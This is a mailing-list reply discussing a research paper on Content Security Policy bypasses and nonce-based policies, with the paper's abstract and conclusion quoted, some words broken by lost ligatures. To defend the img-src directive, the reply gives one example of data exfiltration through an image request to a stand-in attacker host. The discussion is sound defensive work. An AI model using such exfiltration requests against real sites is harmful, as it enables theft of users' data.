Re: On the Insecurity of Whitelists and the Future of CSP

On Wed, Sep 7, 2016 at 10:14 PM, Artur Janc <aaj@google.com> wrote:

> This paper is based on the results that we've discussed a bit at the last
> F2F, and which were the original motivation for 'strict-dynamic' -- they
> came up in some of the discussions we had here around the feature, so many
> folks are probably familiar with the details.
>
> The best outcome I can hope for is if we could consider the past failings
> of CSP and think about how we can fix them to build something more useful.
> There are lessons that can be applied right away in CSP3 (e.g. promoting
> nonces/hashes as a better script blessing mechanism), and some general
> takeaways to consider when designing its successor (e.g. avoiding
> unnecessary complexity, improving developer understanding of the mechanism
> and the security benefits it offers, less ugly syntax, etc).
>
> There's probably also a meta-discussion to be had around the types of
> threats we're trying to mitigate, and an attempt to map how various parts
> of CSP or other specs address them. For example, there's almost never a
> security benefit of setting img-src,
>

Well, that's debatable. Historically, images have been used as a channel to
exfiltrate sensitive user data. If we could completely prevent XSS, then I
could see img-src go away, but until then I see the benefit of having a
defense in depth mechanism that blocks such exfiltration attacks. E.g. if
an attacker manages to exploit some XSS vulnerability, the attacker could
do https://attacker.com/foo.jgp?sensitive-data, but a strongly crafted
img-src directive would block the attack.


> and it adds maintenance overhead and risks breakage when URLs change, but
> it's present in a large majority of policies; refocusing on the few bits
> that actually improve security would be really beneficial for the ecosystem.
>
> As a final meta-note I think so far we've been fairly lucky as an industry
> that malicious exploitation of XSS has been fairly limited (for many
> reasons; long story). However, we're giving webapps access to more powerful
> APIs and keep blurring the line between the web and native apps (we're
> already in a situation where XSS in some webapps is equivalent to remote
> code execution on the user's device) so these attacks will become more
> compelling. The web platform should really have stronger defenses against a
> class of vulnerabilities that's simultaneously the most common and the most
> damaging; solving other problems but not addressing this one means we're
> not serving our users as well as we should.
>
> -A
>
> On Wed, Sep 7, 2016 at 6:16 PM, Hodges, Jeff <jeff.hodges@paypal.com>
> wrote:
>
>> Apologies if this has already been posted here, I looked and didn't see
>> that it had...
>>
>> CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future
>> of Content Security Policy
>> <https://static.googleusercontent.com/media/research.google.
>> com/en//pubs/ar
>> chive/45542.pdf
>> <https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf>
>> >
>>
>> Lukas Weichselbaum
>> Michele Spagnuolo
>> Sebastian Lekies
>> Artur Janc
>>
>>
>> ABSTRACT
>> Content  Security  Policy  is  a  web  platform  mechanism  de-
>> signed to mitigate cross-site scripting (XSS), the top security
>> vulnerability in modern web applications [24].  In this paper,
>> we take a closer look at the practical bene ts of adopting
>> CSP and identify signi cant  aws in real-world deployments
>> that result in bypasses in 94.72% of all distinct policies.
>> We base our Internet-wide analysis on a search engine cor-
>> pus of approximately 100 billion pages from over 1 billion
>> hostnames; the result covers CSP deployments on 1,680,867
>> hosts with 26,011 unique CSP policies { the most compre-
>> hensive  study  to  date.   We  introduce  the  security-relevant
>> aspects  of  the  CSP  speci cation  and  provide  an  in-depth
>> analysis  of  its  threat  model,  focusing  on  XSS  protections.
>> We identify three common classes of
>> CSP bypasses
>> and ex-
>> plain how they subvert the security of a policy.
>> We  then  turn  to  a  quantitative  analysis  of  policies  de-
>> ployed  on  the  Internet  in  order  to  understand  their  secu-
>> rity  bene ts.   We  observe  that  14  out  of  the  15  domains
>> most commonly whitelisted for loading scripts contain
>> un-
>> safe endpoints
>> ; as a consequence, 75.81% of distinct policies
>> use script whitelists that allow attackers to bypass CSP. In
>> total, we  nd that 94.68% of policies that attempt to limit
>> script  execution  are  ine ective,  and  that  99.34%  of  hosts
>> with CSP use policies that o er no bene t against XSS.
>> Finally,  we  propose  the
>> 'strict-dynamic'
>> keyword,  an
>> addition to the speci cation that facilitates the creation of
>> policies based on cryptographic nonces, without relying on
>> domain whitelists. We discuss our experience deploying such
>> a
>> nonce-based
>> policy in a complex application and provide
>> guidance to web authors for improving their policies.
>>
>>
>>
>> 6.  CONCLUSION
>> In this paper, we presented an assessment of the practical
>> security bene ts of adopting CSP in real-world applications,
>> based on a large-scale empirical study.
>> We performed an in-depth analysis of the security model
>> of CSP and identi ed several cases where seemingly safe poli-
>> cies provided no security improvement.  We investigated the
>> adoption of CSP on over 1 billion hostnames, and identi ed
>> 1.6 million hosts using 26,011 unique policies in the Google
>> search index.
>> Unfortunately,  the  majority  of  these  policies  are  inher-
>> ently insecure. Via automated checks, we were able to demon-
>> strate that 94.72 % of all policies can be trivially bypassed
>> by an attacker with a markup-injection bug.  Furthermore,
>> we analyzed the security properties of whitelists.  Thereby,
>> we found that 75.81 % of all policies and 41.65 % of all strict
>> policies contain at least one insecure host within their white-
>> lists.  These numbers lead us to the believe that whitelists
>> are impractical for use within CSP policies.
>> Hence,  we  proposed  a  new  way  of  writing  policies.   In-
>> stead  of  whitelisting  entire  hosts,  we  recommend  enabling
>> individual scripts via an approach based on CSP nonces.
>> In order to ease the adoption of
>> nonce-based
>> CSP, we fur-
>> thermore  proposed  the
>> 'strict-dynamic'
>> keyword.   Once
>> speci ed within a CSP policy, this keyword enables a mode
>> inside  the  browser  to  inherit  nonces  to  dynamic  scripts.
>> Hence, if a script trusted with a nonce creates a new script at
>> runtime, this new script will also be considered legitimate.
>> Although  this  technique  departs  from  the  traditional  host
>> whitelisting approach of CSP, we consider the usability im-
>> provements signi cant enough to justify its broad adoption.
>> Because this is designed to be an opt-in mechanism, it does
>> not reduce the protective capabilities of CSP by default.
>> We expect that that the combination of a nonce-based ap-
>> proach and the
>> 'strict-dynamic'
>> keyword will allow devel-
>> opers and organizations to  nally enjoy real security bene ts
>> o ered by the Content Security Policy.
>>
>>
>>
>> end
>>
>>
>>
>